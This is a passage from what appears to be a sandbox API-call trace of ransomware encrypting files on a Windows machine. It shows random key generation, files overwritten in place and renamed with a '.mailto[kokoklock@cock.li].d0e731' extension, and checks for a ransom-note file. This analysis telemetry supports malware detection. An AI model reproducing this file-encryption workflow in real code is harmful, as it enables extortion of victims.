Seed=0x1df3f6fc) returned 0xffaab8d2 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x359e2e3e [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xfc9e2efe [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xe5db2b38 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xb5b581a4 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xfda51162 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xa4072dc0 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x5e24e87e [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x7c1bbf2f [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x5e91b146 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xf456d13e [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x455c768 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x9364552f [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x6017211 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x3ae8cc69 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x96cc78e6 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xdd86fdc1 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x27506315 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xb7032bcd [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x729b112b [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xf6d855b4 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xfc401d0f [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x55b2fdf3 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0x330ee878 [0076.283] RtlRandom (in: Seed=0x1df3f6fc | out: Seed=0x1df3f6fc) returned 0xfcfbfa40 [0076.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.304] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x8d7, lpNumberOfBytesRead=0x1df3f6f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1df3f6f0*=0x8d7, lpOverlapped=0x0) returned 1 [0076.305] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1df3f6b8 | out: lpNewFilePointer=0x0) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x8d7, lpNumberOfBytesWritten=0x1df3f6ec, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1df3f6ec*=0x8d7, lpOverlapped=0x0) returned 1 [0076.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1df3f6e8, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1df3f6e8*=0x20, lpOverlapped=0x0) returned 1 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.305] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x3478c38*, lpNumberOfBytesWritten=0x1df3f714*=0x8, lpOverlapped=0x0) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x1df3f72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x1df3f72c*, lpNumberOfBytesWritten=0x1df3f714*=0x4, lpOverlapped=0x0) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1df3f714*=0x4, lpOverlapped=0x0) returned 1 [0076.305] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1df3f714*=0x6c, lpOverlapped=0x0) returned 1 [0076.306] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1df3f714*=0x20, lpOverlapped=0x0) returned 1 [0076.306] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1df3f714, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1df3f714*=0x4, lpOverlapped=0x0) returned 1 [0076.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c10) returned 1 [0076.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c38) returned 1 [0076.306] CloseHandle (hObject=0x9f0) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f10f0 [0076.306] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" [0076.306] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" [0076.306] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.307] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.307] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt", dwFileAttributes=0x20) returned 0 [0076.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0076.307] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\i386\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0076.307] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" [0076.307] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt")) returned 0x20 [0076.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e340) returned 1 [0076.307] RtlExitUserThread (Status=0x1) Thread: id = 804 os_tid = 0x10f0 [0076.308] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat")) returned 0x20 [0076.309] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat", dwFileAttributes=0x20) returned 1 [0076.309] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.309] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1dfbfc44 | out: lpFileSize=0x1dfbfc44*=9860) returned 1 [0076.309] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x2680, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.309] ReadFile (in: hFile=0x9f0, lpBuffer=0x1dfbfc18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x1dfbfc18*, lpNumberOfBytesRead=0x1dfbfc14*=0x4, lpOverlapped=0x0) returned 1 [0076.311] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c10 [0076.311] NtQuerySystemTime (in: CurrentTime=0x1dfbfbf0 | out: CurrentTime=0x1dfbfbf0*=132121176342065557) returned 0x0 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x43290ba2 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xf6620071 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x9d20a6d6 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x65309ac5 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xeba979f4 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x95bbd08 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xbfbeb9a0 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xb31a06be [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xd5c0eeed [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x93991df7 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x7757ed33 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x7e91128e [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x19b4d0e1 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xe3e4fbe6 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x4d57dbb6 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x8280e16c [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xdd3fa569 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x13018e45 [0076.311] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x2ef3cf49 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x2de9564f [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x8fb2a009 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x1a739910 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x24e61967 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xc98aa8a6 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xc8b98e09 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x183f9c3f [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xec833671 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x173c4261 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x5b84a3eb [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0xe7d9d6c4 [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x4b2aaadb [0076.312] RtlRandom (in: Seed=0x1dfbfbfc | out: Seed=0x1dfbfbfc) returned 0x72989883 [0076.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.323] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2684, lpNumberOfBytesRead=0x1dfbfbf0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dfbfbf0*=0x2684, lpOverlapped=0x0) returned 1 [0076.324] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1dfbfbb8 | out: lpNewFilePointer=0x0) returned 1 [0076.324] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2684, lpNumberOfBytesWritten=0x1dfbfbec, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dfbfbec*=0x2684, lpOverlapped=0x0) returned 1 [0076.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.324] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dfbfbe8, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1dfbfbe8*=0x20, lpOverlapped=0x0) returned 1 [0076.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x3478c60*, lpNumberOfBytesWritten=0x1dfbfc14*=0x8, lpOverlapped=0x0) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x1dfbfc2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x1dfbfc2c*, lpNumberOfBytesWritten=0x1dfbfc14*=0x4, lpOverlapped=0x0) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1dfbfc14*=0x4, lpOverlapped=0x0) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1dfbfc14*=0x6c, lpOverlapped=0x0) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1dfbfc14*=0x20, lpOverlapped=0x0) returned 1 [0076.325] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dfbfc14, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1dfbfc14*=0x4, lpOverlapped=0x0) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c38) returned 1 [0076.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.325] CloseHandle (hObject=0x9f0) returned 1 [0076.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e69c0 [0076.325] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" [0076.325] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" [0076.325] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.326] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0076.326] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat", dwFileAttributes=0x20) returned 0 [0076.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0076.326] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\i386\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0076.326] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" [0076.326] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\d0e731-readme.txt")) returned 0x20 [0076.327] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.327] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0076.327] RtlExitUserThread (Status=0x1) Thread: id = 805 os_tid = 0x10f4 [0076.336] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf")) returned 0x20 [0076.336] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf", dwFileAttributes=0x20) returned 1 [0076.336] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.337] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1e03fac0 | out: lpFileSize=0x1e03fac0*=1495) returned 1 [0076.337] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x5d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.337] ReadFile (in: hFile=0x9f0, lpBuffer=0x1e03fa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e03fa90, lpOverlapped=0x0 | out: lpBuffer=0x1e03fa94*, lpNumberOfBytesRead=0x1e03fa90*=0x4, lpOverlapped=0x0) returned 1 [0076.339] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c38 [0076.339] NtQuerySystemTime (in: CurrentTime=0x1e03fa6c | out: CurrentTime=0x1e03fa6c*=132121176342378436) returned 0x0 [0076.339] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x640c28f8 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xd2ecf8d7 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xdb3b7fb9 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x9e22d2b7 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x64a15e94 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x405173a6 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xbc9f3d33 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x51888aa1 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x4395da5f [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xada156be [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x8d10ceef [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x4db27722 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x7b35aa03 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x1a911627 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x7fa9f48 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x13b80314 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xcdee80f4 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xc8d51a09 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x61db9860 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xbfe8322d [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x4b6189b0 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x6141f79e [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xaa237d0d [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x2975057c [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x354fa479 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xed057a3 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x1e5b2d34 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x6b2fc542 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xebcdb5f0 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x26f2180 [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0xbeb41f [0076.340] RtlRandom (in: Seed=0x1e03fa78 | out: Seed=0x1e03fa78) returned 0x278272af [0076.351] RtlFreeHeap (HeapHandle=0x33c0000, 